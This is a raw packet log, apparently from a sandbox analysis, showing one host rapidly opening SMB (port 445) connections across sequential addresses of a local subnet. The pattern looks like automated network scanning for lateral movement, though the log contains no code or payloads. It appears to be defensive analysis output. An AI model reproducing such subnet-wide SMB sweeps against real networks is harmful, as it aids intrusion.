Jul 6, 2024 14:11:22.976171970 CEST	50089	445	192.168.2.6	192.168.0.100
Jul 6, 2024 14:11:22.976716042 CEST	50090	445	192.168.2.6	192.168.0.101
Jul 6, 2024 14:11:22.981146097 CEST	445	50089	192.168.0.100	192.168.2.6
Jul 6, 2024 14:11:22.981199026 CEST	50088	445	192.168.2.6	192.168.0.229
Jul 6, 2024 14:11:22.981199026 CEST	50088	445	192.168.2.6	192.168.0.229
Jul 6, 2024 14:11:22.981199026 CEST	50091	445	192.168.2.6	192.168.0.230
Jul 6, 2024 14:11:22.981210947 CEST	50089	445	192.168.2.6	192.168.0.100
Jul 6, 2024 14:11:22.981290102 CEST	50089	445	192.168.2.6	192.168.0.100
Jul 6, 2024 14:11:22.984958887 CEST	445	50090	192.168.0.101	192.168.2.6
Jul 6, 2024 14:11:22.985023022 CEST	50090	445	192.168.2.6	192.168.0.101
Jul 6, 2024 14:11:22.985104084 CEST	50090	445	192.168.2.6	192.168.0.101
Jul 6, 2024 14:11:22.986129999 CEST	445	50089	192.168.0.100	192.168.2.6
Jul 6, 2024 14:11:22.986145020 CEST	445	50089	192.168.0.100	192.168.2.6
Jul 6, 2024 14:11:22.990113020 CEST	445	50090	192.168.0.101	192.168.2.6
Jul 6, 2024 14:11:22.990374088 CEST	445	50090	192.168.0.101	192.168.2.6
Jul 6, 2024 14:11:22.991121054 CEST	50090	445	192.168.2.6	192.168.0.101
Jul 6, 2024 14:11:22.991544008 CEST	50092	445	192.168.2.6	192.168.0.102
Jul 6, 2024 14:11:22.992166042 CEST	50093	445	192.168.2.6	192.168.0.231
Jul 6, 2024 14:11:22.993920088 CEST	445	50088	192.168.0.229	192.168.2.6
Jul 6, 2024 14:11:22.994606018 CEST	50088	445	192.168.2.6	192.168.0.229
Jul 6, 2024 14:11:22.995935917 CEST	445	50090	192.168.0.101	192.168.2.6
Jul 6, 2024 14:11:22.996471882 CEST	445	50092	192.168.0.102	192.168.2.6
Jul 6, 2024 14:11:22.996690989 CEST	445	50091	192.168.0.230	192.168.2.6
Jul 6, 2024 14:11:22.996965885 CEST	50091	445	192.168.2.6	192.168.0.230
Jul 6, 2024 14:11:22.996965885 CEST	50091	445	192.168.2.6	192.168.0.230
Jul 6, 2024 14:11:22.997071028 CEST	445	50093	192.168.0.231	192.168.2.6
Jul 6, 2024 14:11:22.997128010 CEST	50093	445	192.168.2.6	192.168.0.231
Jul 6, 2024 14:11:22.997205019 CEST	50093	445	192.168.2.6	192.168.0.231
Jul 6, 2024 14:11:22.997351885 CEST	50092	445	192.168.2.6	192.168.0.102
Jul 6, 2024 14:11:22.997351885 CEST	50092	445	192.168.2.6	192.168.0.102
Jul 6, 2024 14:11:23.001909018 CEST	445	50091	192.168.0.230	192.168.2.6
Jul 6, 2024 14:11:23.001959085 CEST	50091	445	192.168.2.6	192.168.0.230
Jul 6, 2024 14:11:23.002396107 CEST	445	50093	192.168.0.231	192.168.2.6
Jul 6, 2024 14:11:23.002471924 CEST	50093	445	192.168.2.6	192.168.0.231
Jul 6, 2024 14:11:23.003207922 CEST	445	50092	192.168.0.102	192.168.2.6
Jul 6, 2024 14:11:23.003561020 CEST	445	50092	192.168.0.102	192.168.2.6
Jul 6, 2024 14:11:23.007311106 CEST	50094	445	192.168.2.6	192.168.0.232
Jul 6, 2024 14:11:23.012079000 CEST	445	50094	192.168.0.232	192.168.2.6
Jul 6, 2024 14:11:23.012154102 CEST	50094	445	192.168.2.6	192.168.0.232
Jul 6, 2024 14:11:23.012263060 CEST	50094	445	192.168.2.6	192.168.0.232
Jul 6, 2024 14:11:23.018587112 CEST	445	50094	192.168.0.232	192.168.2.6
Jul 6, 2024 14:11:23.018637896 CEST	50094	445	192.168.2.6	192.168.0.232
Jul 6, 2024 14:11:23.023386002 CEST	50095	445	192.168.2.6	192.168.0.104
Jul 6, 2024 14:11:23.024486065 CEST	50096	445	192.168.2.6	192.168.0.103
Jul 6, 2024 14:11:23.024719000 CEST	50097	445	192.168.2.6	192.168.0.233
Jul 6, 2024 14:11:23.028750896 CEST	445	50095	192.168.0.104	192.168.2.6
Jul 6, 2024 14:11:23.028851032 CEST	50095	445	192.168.2.6	192.168.0.104
Jul 6, 2024 14:11:23.028924942 CEST	50095	445	192.168.2.6	192.168.0.104
Jul 6, 2024 14:11:23.029684067 CEST	445	50097	192.168.0.233	192.168.2.6
Jul 6, 2024 14:11:23.029752016 CEST	50097	445	192.168.2.6	192.168.0.233
Jul 6, 2024 14:11:23.029877901 CEST	50097	445	192.168.2.6	192.168.0.233
Jul 6, 2024 14:11:23.029879093 CEST	445	50096	192.168.0.103	192.168.2.6
Jul 6, 2024 14:11:23.029927969 CEST	50096	445	192.168.2.6	192.168.0.103
Jul 6, 2024 14:11:23.030016899 CEST	50096	445	192.168.2.6	192.168.0.103
Jul 6, 2024 14:11:23.033684015 CEST	445	50095	192.168.0.104	192.168.2.6
Jul 6, 2024 14:11:23.034818888 CEST	445	50096	192.168.0.103	192.168.2.6
Jul 6, 2024 14:11:23.034867048 CEST	445	50097	192.168.0.233	192.168.2.6
Jul 6, 2024 14:11:23.034970045 CEST	50097	445	192.168.2.6	192.168.0.233
Jul 6, 2024 14:11:23.035295963 CEST	445	50096	192.168.0.103	192.168.2.6
Jul 6, 2024 14:11:23.038398981 CEST	50098	445	192.168.2.6	192.168.0.234
Jul 6, 2024 14:11:23.044661999 CEST	445	50098	192.168.0.234	192.168.2.6
Jul 6, 2024 14:11:23.044748068 CEST	50098	445	192.168.2.6	192.168.0.234
Jul 6, 2024 14:11:23.044823885 CEST	50098	445	192.168.2.6	192.168.0.234
Jul 6, 2024 14:11:23.049621105 CEST	445	50098	192.168.0.234	192.168.2.6
Jul 6, 2024 14:11:23.049684048 CEST	50098	445	192.168.2.6	192.168.0.234
Jul 6, 2024 14:11:23.049948931 CEST	445	50098	192.168.0.234	192.168.2.6
Jul 6, 2024 14:11:23.054127932 CEST	50099	445	192.168.2.6	192.168.0.235
Jul 6, 2024 14:11:23.059308052 CEST	445	50099	192.168.0.235	192.168.2.6
Jul 6, 2024 14:11:23.059380054 CEST	50099	445	192.168.2.6	192.168.0.235
Jul 6, 2024 14:11:23.059673071 CEST	50099	445	192.168.2.6	192.168.0.235
Jul 6, 2024 14:11:23.064276934 CEST	445	50099	192.168.0.235	192.168.2.6
Jul 6, 2024 14:11:23.064330101 CEST	50099	445	192.168.2.6	192.168.0.235
Jul 6, 2024 14:11:23.064460993 CEST	445	50099	192.168.0.235	192.168.2.6
Jul 6, 2024 14:11:23.070166111 CEST	50100	445	192.168.2.6	192.168.0.105
Jul 6, 2024 14:11:23.070429087 CEST	50101	445	192.168.2.6	192.168.0.106
Jul 6, 2024 14:11:23.070633888 CEST	50102	445	192.168.2.6	192.168.0.236
Jul 6, 2024 14:11:23.076287985 CEST	445	50100	192.168.0.105	192.168.2.6
Jul 6, 2024 14:11:23.076306105 CEST	445	50101	192.168.0.106	192.168.2.6
Jul 6, 2024 14:11:23.076314926 CEST	445	50102	192.168.0.236	192.168.2.6
Jul 6, 2024 14:11:23.076371908 CEST	50100	445	192.168.2.6	192.168.0.105
Jul 6, 2024 14:11:23.076405048 CEST	50101	445	192.168.2.6	192.168.0.106
Jul 6, 2024 14:11:23.076447010 CEST	50100	445	192.168.2.6	192.168.0.105
Jul 6, 2024 14:11:23.076472044 CEST	50102	445	192.168.2.6	192.168.0.236
Jul 6, 2024 14:11:23.076522112 CEST	50101	445	192.168.2.6	192.168.0.106
Jul 6, 2024 14:11:23.076539993 CEST	50102	445	192.168.2.6	192.168.0.236
Jul 6, 2024 14:11:23.081294060 CEST	445	50100	192.168.0.105	192.168.2.6
Jul 6, 2024 14:11:23.081336021 CEST	445	50101	192.168.0.106	192.168.2.6
Jul 6, 2024 14:11:23.081345081 CEST	445	50100	192.168.0.105	192.168.2.6
Jul 6, 2024 14:11:23.081763029 CEST	445	50102	192.168.0.236	192.168.2.6
Jul 6, 2024 14:11:23.082927942 CEST	50102	445	192.168.2.6	192.168.0.236
Jul 6, 2024 14:11:23.085184097 CEST	50103	445	192.168.2.6	192.168.0.108
Jul 6, 2024 14:11:23.086667061 CEST	445	50077	192.168.0.223	192.168.2.6
Jul 6, 2024 14:11:23.086819887 CEST	50077	445	192.168.2.6	192.168.0.223
Jul 6, 2024 14:11:23.087624073 CEST	50105	445	192.168.2.6	192.168.0.237
Jul 6, 2024 14:11:23.088370085 CEST	50104	445	192.168.2.6	192.168.0.107
Jul 6, 2024 14:11:23.090065956 CEST	445	50103	192.168.0.108	192.168.2.6
Jul 6, 2024 14:11:23.091408014 CEST	50103	445	192.168.2.6	192.168.0.108
Jul 6, 2024 14:11:23.091576099 CEST	50103	445	192.168.2.6	192.168.0.108
Jul 6, 2024 14:11:23.092708111 CEST	445	50105	192.168.0.237	192.168.2.6
Jul 6, 2024 14:11:23.092765093 CEST	50105	445	192.168.2.6	192.168.0.237
Jul 6, 2024 14:11:23.092881918 CEST	50105	445	192.168.2.6	192.168.0.237
Jul 6, 2024 14:11:23.096400023 CEST	445	50103	192.168.0.108	192.168.2.6
Jul 6, 2024 14:11:23.096990108 CEST	445	50103	192.168.0.108	192.168.2.6
Jul 6, 2024 14:11:23.097701073 CEST	445	50105	192.168.0.237	192.168.2.6
Jul 6, 2024 14:11:23.097765923 CEST	50105	445	192.168.2.6	192.168.0.237
Jul 6, 2024 14:11:23.099395037 CEST	445	50104	192.168.0.107	192.168.2.6
Jul 6, 2024 14:11:23.100238085 CEST	50104	445	192.168.2.6	192.168.0.107
Jul 6, 2024 14:11:23.100238085 CEST	50104	445	192.168.2.6	192.168.0.107
Jul 6, 2024 14:11:23.101403952 CEST	50106	445	192.168.2.6	192.168.0.238
Jul 6, 2024 14:11:23.105093956 CEST	445	50104	192.168.0.107	192.168.2.6
Jul 6, 2024 14:11:23.105144024 CEST	50104	445	192.168.2.6	192.168.0.107
Jul 6, 2024 14:11:23.105173111 CEST	445	50104	192.168.0.107	192.168.2.6
Jul 6, 2024 14:11:23.106587887 CEST	445	50106	192.168.0.238	192.168.2.6
Jul 6, 2024 14:11:23.106671095 CEST	50106	445	192.168.2.6	192.168.0.238
Jul 6, 2024 14:11:23.106750965 CEST	50106	445	192.168.2.6	192.168.0.238
Jul 6, 2024 14:11:23.110203981 CEST	445	50104	192.168.0.107	192.168.2.6
Jul 6, 2024 14:11:23.111800909 CEST	445	50106	192.168.0.238	192.168.2.6
Jul 6, 2024 14:11:23.111839056 CEST	445	50106	192.168.0.238	192.168.2.6
Jul 6, 2024 14:11:23.111871958 CEST	50106	445	192.168.2.6	192.168.0.238
Jul 6, 2024 14:11:23.117353916 CEST	50109	445	192.168.2.6	192.168.0.239
Jul 6, 2024 14:11:23.117373943 CEST	50107	445	192.168.2.6	192.168.0.109
Jul 6, 2024 14:11:23.117945910 CEST	50108	445	192.168.2.6	192.168.0.110
Jul 6, 2024 14:11:23.122548103 CEST	445	50109	192.168.0.239	192.168.2.6
Jul 6, 2024 14:11:23.122682095 CEST	445	50107	192.168.0.109	192.168.2.6
Jul 6, 2024 14:11:23.124608040 CEST	50109	445	192.168.2.6	192.168.0.239
Jul 6, 2024 14:11:23.126461983 CEST	445	50108	192.168.0.110	192.168.2.6
Jul 6, 2024 14:11:23.127042055 CEST	50107	445	192.168.2.6	192.168.0.109
Jul 6, 2024 14:11:23.127042055 CEST	50107	445	192.168.2.6	192.168.0.109
Jul 6, 2024 14:11:23.127758980 CEST	50108	445	192.168.2.6	192.168.0.110
Jul 6, 2024 14:11:23.127759933 CEST	50108	445	192.168.2.6	192.168.0.110
Jul 6, 2024 14:11:23.129765987 CEST	445	50109	192.168.0.239	192.168.2.6
Jul 6, 2024 14:11:23.130537033 CEST	50109	445	192.168.2.6	192.168.0.239
Jul 6, 2024 14:11:23.132019043 CEST	50109	445	192.168.2.6	192.168.0.239
Jul 6, 2024 14:11:23.132389069 CEST	50110	445	192.168.2.6	192.168.0.240
Jul 6, 2024 14:11:23.132639885 CEST	445	50108	192.168.0.110	192.168.2.6
Jul 6, 2024 14:11:23.132656097 CEST	445	50108	192.168.0.110	192.168.2.6
Jul 6, 2024 14:11:23.135869980 CEST	445	50107	192.168.0.109	192.168.2.6
Jul 6, 2024 14:11:23.135991096 CEST	445	50107	192.168.0.109	192.168.2.6
Jul 6, 2024 14:11:23.136815071 CEST	445	50109	192.168.0.239	192.168.2.6
Jul 6, 2024 14:11:23.137099028 CEST	445	50110	192.168.0.240	192.168.2.6
Jul 6, 2024 14:11:23.139417887 CEST	50110	445	192.168.2.6	192.168.0.240
Jul 6, 2024 14:11:23.139417887 CEST	50110	445	192.168.2.6	192.168.0.240
Jul 6, 2024 14:11:23.144356012 CEST	445	50110	192.168.0.240	192.168.2.6
Jul 6, 2024 14:11:23.147001982 CEST	50110	445	192.168.2.6	192.168.0.240
Jul 6, 2024 14:11:23.149894953 CEST	50111	445	192.168.2.6	192.168.0.112
Jul 6, 2024 14:11:23.149894953 CEST	50113	445	192.168.2.6	192.168.0.241
Jul 6, 2024 14:11:23.150381088 CEST	50112	445	192.168.2.6	192.168.0.111
Jul 6, 2024 14:11:23.156209946 CEST	445	50111	192.168.0.112	192.168.2.6
Jul 6, 2024 14:11:23.156439066 CEST	445	50113	192.168.0.241	192.168.2.6
Jul 6, 2024 14:11:23.157654047 CEST	445	50112	192.168.0.111	192.168.2.6
Jul 6, 2024 14:11:23.159751892 CEST	50111	445	192.168.2.6	192.168.0.112
Jul 6, 2024 14:11:23.159751892 CEST	50111	445	192.168.2.6	192.168.0.112
Jul 6, 2024 14:11:23.159751892 CEST	50113	445	192.168.2.6	192.168.0.241
Jul 6, 2024 14:11:23.159751892 CEST	50113	445	192.168.2.6	192.168.0.241
Jul 6, 2024 14:11:23.161303043 CEST	50112	445	192.168.2.6	192.168.0.111
Jul 6, 2024 14:11:23.161303043 CEST	50112	445	192.168.2.6	192.168.0.111
Jul 6, 2024 14:11:23.164107084 CEST	50114	445	192.168.2.6	192.168.0.242
Jul 6, 2024 14:11:23.164762020 CEST	445	50111	192.168.0.112	192.168.2.6
Jul 6, 2024 14:11:23.165527105 CEST	50111	445	192.168.2.6	192.168.0.112
Jul 6, 2024 14:11:23.177537918 CEST	445	50111	192.168.0.112	192.168.2.6
Jul 6, 2024 14:11:23.177582979 CEST	445	50114	192.168.0.242	192.168.2.6
Jul 6, 2024 14:11:23.177639008 CEST	50114	445	192.168.2.6	192.168.0.242
Jul 6, 2024 14:11:23.178792953 CEST	50114	445	192.168.2.6	192.168.0.242
Jul 6, 2024 14:11:23.179598093 CEST	50115	445	192.168.2.6	192.168.0.243
Jul 6, 2024 14:11:23.179828882 CEST	445	50111	192.168.0.112	192.168.2.6
Jul 6, 2024 14:11:23.180118084 CEST	445	50113	192.168.0.241	192.168.2.6
Jul 6, 2024 14:11:23.180164099 CEST	50113	445	192.168.2.6	192.168.0.241
Jul 6, 2024 14:11:23.180324078 CEST	445	50112	192.168.0.111	192.168.2.6
Jul 6, 2024 14:11:23.182240009 CEST	445	50112	192.168.0.111	192.168.2.6
Jul 6, 2024 14:11:23.184818029 CEST	445	50115	192.168.0.243	192.168.2.6
Jul 6, 2024 14:11:23.184923887 CEST	50115	445	192.168.2.6	192.168.0.243
Jul 6, 2024 14:11:23.185004950 CEST	50115	445	192.168.2.6	192.168.0.243
Jul 6, 2024 14:11:23.187648058 CEST	445	50114	192.168.0.242	192.168.2.6
Jul 6, 2024 14:11:23.188011885 CEST	50114	445	192.168.2.6	192.168.0.242
Jul 6, 2024 14:11:23.190524101 CEST	445	50115	192.168.0.243	192.168.2.6
Jul 6, 2024 14:11:23.190850973 CEST	445	50115	192.168.0.243	192.168.2.6
Jul 6, 2024 14:11:23.191994905 CEST	50115	445	192.168.2.6	192.168.0.243
Jul 6, 2024 14:11:23.194505930 CEST	50116	445	192.168.2.6	192.168.0.244
Jul 6, 2024 14:11:23.199451923 CEST	445	50116	192.168.0.244	192.168.2.6
Jul 6, 2024 14:11:23.199515104 CEST	50116	445	192.168.2.6	192.168.0.244
Jul 6, 2024 14:11:23.199610949 CEST	50116	445	192.168.2.6	192.168.0.244
Jul 6, 2024 14:11:23.204431057 CEST	445	50116	192.168.0.244	192.168.2.6
Jul 6, 2024 14:11:23.204705000 CEST	445	50116	192.168.0.244	192.168.2.6
Jul 6, 2024 14:11:23.204875946 CEST	50116	445	192.168.2.6	192.168.0.244
Jul 6, 2024 14:11:23.210220098 CEST	50118	445	192.168.2.6	192.168.0.114
Jul 6, 2024 14:11:23.210534096 CEST	50117	445	192.168.2.6	192.168.0.115
Jul 6, 2024 14:11:23.210534096 CEST	50119	445	192.168.2.6	192.168.0.113
Jul 6, 2024 14:11:23.210654020 CEST	50120	445	192.168.2.6	192.168.0.245
Jul 6, 2024 14:11:23.215019941 CEST	445	50118	192.168.0.114	192.168.2.6
Jul 6, 2024 14:11:23.215087891 CEST	50118	445	192.168.2.6	192.168.0.114
Jul 6, 2024 14:11:23.215183020 CEST	50118	445	192.168.2.6	192.168.0.114
Jul 6, 2024 14:11:23.215311050 CEST	445	50117	192.168.0.115	192.168.2.6
Jul 6, 2024 14:11:23.215437889 CEST	445	50119	192.168.0.113	192.168.2.6
Jul 6, 2024 14:11:23.215447903 CEST	445	50120	192.168.0.245	192.168.2.6
Jul 6, 2024 14:11:23.215501070 CEST	50120	445	192.168.2.6	192.168.0.245
Jul 6, 2024 14:11:23.215729952 CEST	50120	445	192.168.2.6	192.168.0.245
Jul 6, 2024 14:11:23.215856075 CEST	50117	445	192.168.2.6	192.168.0.115
Jul 6, 2024 14:11:23.215856075 CEST	50119	445	192.168.2.6	192.168.0.113
Jul 6, 2024 14:11:23.215856075 CEST	50117	445	192.168.2.6	192.168.0.115
Jul 6, 2024 14:11:23.215856075 CEST	50119	445	192.168.2.6	192.168.0.113
Jul 6, 2024 14:11:23.220094919 CEST	445	50118	192.168.0.114	192.168.2.6
Jul 6, 2024 14:11:23.220206022 CEST	445	50118	192.168.0.114	192.168.2.6
Jul 6, 2024 14:11:23.220607996 CEST	445	50120	192.168.0.245	192.168.2.6
Jul 6, 2024 14:11:23.220663071 CEST	445	50120	192.168.0.245	192.168.2.6
Jul 6, 2024 14:11:23.220700979 CEST	50118	445	192.168.2.6	192.168.0.114
Jul 6, 2024 14:11:23.220757961 CEST	445	50117	192.168.0.115	192.168.2.6
Jul 6, 2024 14:11:23.220880985 CEST	445	50117	192.168.0.115	192.168.2.6
Jul 6, 2024 14:11:23.220890045 CEST	445	50119	192.168.0.113	192.168.2.6
Jul 6, 2024 14:11:23.220897913 CEST	445	50119	192.168.0.113	192.168.2.6
Jul 6, 2024 14:11:23.225522995 CEST	50117	445	192.168.2.6	192.168.0.115
Jul 6, 2024 14:11:23.225539923 CEST	445	50118	192.168.0.114	192.168.2.6
Jul 6, 2024 14:11:23.226269007 CEST	50121	445	192.168.2.6	192.168.0.116
Jul 6, 2024 14:11:23.226389885 CEST	50122	445	192.168.2.6	192.168.0.246
Jul 6, 2024 14:11:23.231178999 CEST	445	50122	192.168.0.246	192.168.2.6
Jul 6, 2024 14:11:23.231424093 CEST	50122	445	192.168.2.6	192.168.0.246
Jul 6, 2024 14:11:23.232105017 CEST	445	50121	192.168.0.116	192.168.2.6
Jul 6, 2024 14:11:23.232861996 CEST	445	50117	192.168.0.115	192.168.2.6
Jul 6, 2024 14:11:23.233720064 CEST	50121	445	192.168.2.6	192.168.0.116
Jul 6, 2024 14:11:23.237339973 CEST	50121	445	192.168.2.6	192.168.0.116
Jul 6, 2024 14:11:23.237924099 CEST	445	50122	192.168.0.246	192.168.2.6
Jul 6, 2024 14:11:23.238908052 CEST	445	50121	192.168.0.116	192.168.2.6
Jul 6, 2024 14:11:23.238955021 CEST	50121	445	192.168.2.6	192.168.0.116
Jul 6, 2024 14:11:23.241328955 CEST	50123	445	192.168.2.6	192.168.0.118
Jul 6, 2024 14:11:23.242198944 CEST	50122	445	192.168.2.6	192.168.0.246
Jul 6, 2024 14:11:23.242198944 CEST	50122	445	192.168.2.6	192.168.0.246
Jul 6, 2024 14:11:23.242199898 CEST	50125	445	192.168.2.6	192.168.0.247
Jul 6, 2024 14:11:23.242347002 CEST	445	50121	192.168.0.116	192.168.2.6
Jul 6, 2024 14:11:23.243773937 CEST	445	50121	192.168.0.116	192.168.2.6
Jul 6, 2024 14:11:23.245120049 CEST	50124	445	192.168.2.6	192.168.0.117
Jul 6, 2024 14:11:23.246093988 CEST	445	50123	192.168.0.118	192.168.2.6
Jul 6, 2024 14:11:23.246160030 CEST	50123	445	192.168.2.6	192.168.0.118
Jul 6, 2024 14:11:23.246236086 CEST	50123	445	192.168.2.6	192.168.0.118
Jul 6, 2024 14:11:23.247165918 CEST	445	50122	192.168.0.246	192.168.2.6
Jul 6, 2024 14:11:23.250147104 CEST	445	50124	192.168.0.117	192.168.2.6
Jul 6, 2024 14:11:23.250617027 CEST	445	50125	192.168.0.247	192.168.2.6
Jul 6, 2024 14:11:23.250746965 CEST	50124	445	192.168.2.6	192.168.0.117
Jul 6, 2024 14:11:23.250746965 CEST	50124	445	192.168.2.6	192.168.0.117
Jul 6, 2024 14:11:23.251303911 CEST	50125	445	192.168.2.6	192.168.0.247
Jul 6, 2024 14:11:23.251303911 CEST	50125	445	192.168.2.6	192.168.0.247
Jul 6, 2024 14:11:23.251312971 CEST	445	50123	192.168.0.118	192.168.2.6
Jul 6, 2024 14:11:23.251454115 CEST	50123	445	192.168.2.6	192.168.0.118
Jul 6, 2024 14:11:23.251806974 CEST	445	50123	192.168.0.118	192.168.2.6
Jul 6, 2024 14:11:23.255615950 CEST	445	50124	192.168.0.117	192.168.2.6
Jul 6, 2024 14:11:23.255954027 CEST	445	50124	192.168.0.117	192.168.2.6
Jul 6, 2024 14:11:23.256330013 CEST	445	50123	192.168.0.118	192.168.2.6
Jul 6, 2024 14:11:23.256856918 CEST	445	50125	192.168.0.247	192.168.2.6
Jul 6, 2024 14:11:23.257775068 CEST	50125	445	192.168.2.6	192.168.0.247
Jul 6, 2024 14:11:23.259191990 CEST	50126	445	192.168.2.6	192.168.0.248
Jul 6, 2024 14:11:23.271176100 CEST	445	50126	192.168.0.248	192.168.2.6
Jul 6, 2024 14:11:23.271254063 CEST	50126	445	192.168.2.6	192.168.0.248
Jul 6, 2024 14:11:23.271305084 CEST	50126	445	192.168.2.6	192.168.0.248
Jul 6, 2024 14:11:23.272818089 CEST	50127	445	192.168.2.6	192.168.0.119
Jul 6, 2024 14:11:23.273159027 CEST	50128	445	192.168.2.6	192.168.0.120
Jul 6, 2024 14:11:23.276873112 CEST	445	50126	192.168.0.248	192.168.2.6
Jul 6, 2024 14:11:23.277005911 CEST	50126	445	192.168.2.6	192.168.0.248
Jul 6, 2024 14:11:23.277589083 CEST	445	50127	192.168.0.119	192.168.2.6
Jul 6, 2024 14:11:23.277654886 CEST	50127	445	192.168.2.6	192.168.0.119
Jul 6, 2024 14:11:23.277729034 CEST	50127	445	192.168.2.6	192.168.0.119
Jul 6, 2024 14:11:23.278053999 CEST	445	50128	192.168.0.120	192.168.2.6
Jul 6, 2024 14:11:23.278117895 CEST	50128	445	192.168.2.6	192.168.0.120
Jul 6, 2024 14:11:23.278167009 CEST	50128	445	192.168.2.6	192.168.0.120
Jul 6, 2024 14:11:23.280296087 CEST	50129	445	192.168.2.6	192.168.0.249
Jul 6, 2024 14:11:23.282588005 CEST	445	50127	192.168.0.119	192.168.2.6
Jul 6, 2024 14:11:23.282608032 CEST	445	50127	192.168.0.119	192.168.2.6
Jul 6, 2024 14:11:23.282983065 CEST	445	50128	192.168.0.120	192.168.2.6
Jul 6, 2024 14:11:23.283044100 CEST	50128	445	192.168.2.6	192.168.0.120
Jul 6, 2024 14:11:23.283091068 CEST	50127	445	192.168.2.6	192.168.0.119
Jul 6, 2024 14:11:23.283224106 CEST	445	50128	192.168.0.120	192.168.2.6
Jul 6, 2024 14:11:23.285096884 CEST	445	50129	192.168.0.249	192.168.2.6
Jul 6, 2024 14:11:23.285217047 CEST	50129	445	192.168.2.6	192.168.0.249
Jul 6, 2024 14:11:23.285286903 CEST	50129	445	192.168.2.6	192.168.0.249
Jul 6, 2024 14:11:23.287811041 CEST	445	50128	192.168.0.120	192.168.2.6
Jul 6, 2024 14:11:23.287825108 CEST	445	50127	192.168.0.119	192.168.2.6
Jul 6, 2024 14:11:23.288724899 CEST	50130	445	192.168.2.6	192.168.0.121
Jul 6, 2024 14:11:23.289171934 CEST	50131	445	192.168.2.6	192.168.0.250
Jul 6, 2024 14:11:23.290561914 CEST	445	50129	192.168.0.249	192.168.2.6
Jul 6, 2024 14:11:23.290618896 CEST	50129	445	192.168.2.6	192.168.0.249
Jul 6, 2024 14:11:23.293488026 CEST	445	50130	192.168.0.121	192.168.2.6
Jul 6, 2024 14:11:23.293972969 CEST	50130	445	192.168.2.6	192.168.0.121
Jul 6, 2024 14:11:23.293972969 CEST	50130	445	192.168.2.6	192.168.0.121
Jul 6, 2024 14:11:23.294804096 CEST	445	50131	192.168.0.250	192.168.2.6
Jul 6, 2024 14:11:23.295049906 CEST	50131	445	192.168.2.6	192.168.0.250
Jul 6, 2024 14:11:23.295049906 CEST	50131	445	192.168.2.6	192.168.0.250
Jul 6, 2024 14:11:23.300041914 CEST	445	50131	192.168.0.250	192.168.2.6
Jul 6, 2024 14:11:23.300122976 CEST	445	50131	192.168.0.250	192.168.2.6
Jul 6, 2024 14:11:23.305792093 CEST	50132	445	192.168.2.6	192.168.0.122
Jul 6, 2024 14:11:23.306040049 CEST	445	50130	192.168.0.121	192.168.2.6
Jul 6, 2024 14:11:23.306170940 CEST	445	50130	192.168.0.121	192.168.2.6
Jul 6, 2024 14:11:23.310566902 CEST	50133	445	192.168.2.6	192.168.0.251
Jul 6, 2024 14:11:23.313853979 CEST	445	50132	192.168.0.122	192.168.2.6
Jul 6, 2024 14:11:23.314012051 CEST	50132	445	192.168.2.6	192.168.0.122
Jul 6, 2024 14:11:23.314012051 CEST	50132	445	192.168.2.6	192.168.0.122
Jul 6, 2024 14:11:23.315346956 CEST	445	50133	192.168.0.251	192.168.2.6
Jul 6, 2024 14:11:23.315397024 CEST	50133	445	192.168.2.6	192.168.0.251
Jul 6, 2024 14:11:23.315466881 CEST	50133	445	192.168.2.6	192.168.0.251
Jul 6, 2024 14:11:23.319487095 CEST	50134	445	192.168.2.6	192.168.0.123
Jul 6, 2024 14:11:23.319767952 CEST	50135	445	192.168.2.6	192.168.0.252
Jul 6, 2024 14:11:23.321018934 CEST	445	50133	192.168.0.251	192.168.2.6
Jul 6, 2024 14:11:23.321608067 CEST	50133	445	192.168.2.6	192.168.0.251
Jul 6, 2024 14:11:23.322056055 CEST	445	50132	192.168.0.122	192.168.2.6
Jul 6, 2024 14:11:23.324336052 CEST	445	50134	192.168.0.123	192.168.2.6
Jul 6, 2024 14:11:23.324470043 CEST	445	50135	192.168.0.252	192.168.2.6
Jul 6, 2024 14:11:23.324537992 CEST	50134	445	192.168.2.6	192.168.0.123
Jul 6, 2024 14:11:23.324584961 CEST	50134	445	192.168.2.6	192.168.0.123
Jul 6, 2024 14:11:23.329513073 CEST	445	50134	192.168.0.123	192.168.2.6
Jul 6, 2024 14:11:23.329576969 CEST	445	50134	192.168.0.123	192.168.2.6
Jul 6, 2024 14:11:23.331202030 CEST	50135	445	192.168.2.6	192.168.0.252
Jul 6, 2024 14:11:23.331202030 CEST	50135	445	192.168.2.6	192.168.0.252
Jul 6, 2024 14:11:23.335496902 CEST	50136	445	192.168.2.6	192.168.0.124
Jul 6, 2024 14:11:23.335496902 CEST	50137	445	192.168.2.6	192.168.0.125
Jul 6, 2024 14:11:23.336163044 CEST	445	50135	192.168.0.252	192.168.2.6
Jul 6, 2024 14:11:23.336467028 CEST	50138	445	192.168.2.6	192.168.0.253
Jul 6, 2024 14:11:23.336467028 CEST	50135	445	192.168.2.6	192.168.0.252
Jul 6, 2024 14:11:23.340353012 CEST	445	50136	192.168.0.124	192.168.2.6
Jul 6, 2024 14:11:23.340363979 CEST	445	50137	192.168.0.125	192.168.2.6
Jul 6, 2024 14:11:23.340418100 CEST	50136	445	192.168.2.6	192.168.0.124
Jul 6, 2024 14:11:23.340418100 CEST	50137	445	192.168.2.6	192.168.0.125
Jul 6, 2024 14:11:23.340512037 CEST	50136	445	192.168.2.6	192.168.0.124
Jul 6, 2024 14:11:23.340552092 CEST	50137	445	192.168.2.6	192.168.0.125
Jul 6, 2024 14:11:23.343246937 CEST	445	50138	192.168.0.253	192.168.2.6
Jul 6, 2024 14:11:23.343327999 CEST	50138	445	192.168.2.6	192.168.0.253
Jul 6, 2024 14:11:23.343383074 CEST	50138	445	192.168.2.6	192.168.0.253
Jul 6, 2024 14:11:23.345483065 CEST	445	50136	192.168.0.124	192.168.2.6
Jul 6, 2024 14:11:23.345623970 CEST	445	50137	192.168.0.125	192.168.2.6
Jul 6, 2024 14:11:23.345648050 CEST	445	50136	192.168.0.124	192.168.2.6
Jul 6, 2024 14:11:23.345742941 CEST	445	50137	192.168.0.125	192.168.2.6
Jul 6, 2024 14:11:23.348259926 CEST	445	50138	192.168.0.253	192.168.2.6
Jul 6, 2024 14:11:23.348332882 CEST	50138	445	192.168.2.6	192.168.0.253
Jul 6, 2024 14:11:23.350881100 CEST	50140	445	192.168.2.6	192.168.0.254
Jul 6, 2024 14:11:23.352826118 CEST	50139	445	192.168.2.6	192.168.0.126
Jul 6, 2024 14:11:23.355961084 CEST	445	50140	192.168.0.254	192.168.2.6
Jul 6, 2024 14:11:23.356122971 CEST	50140	445	192.168.2.6	192.168.0.254
Jul 6, 2024 14:11:23.356224060 CEST	50140	445	192.168.2.6	192.168.0.254
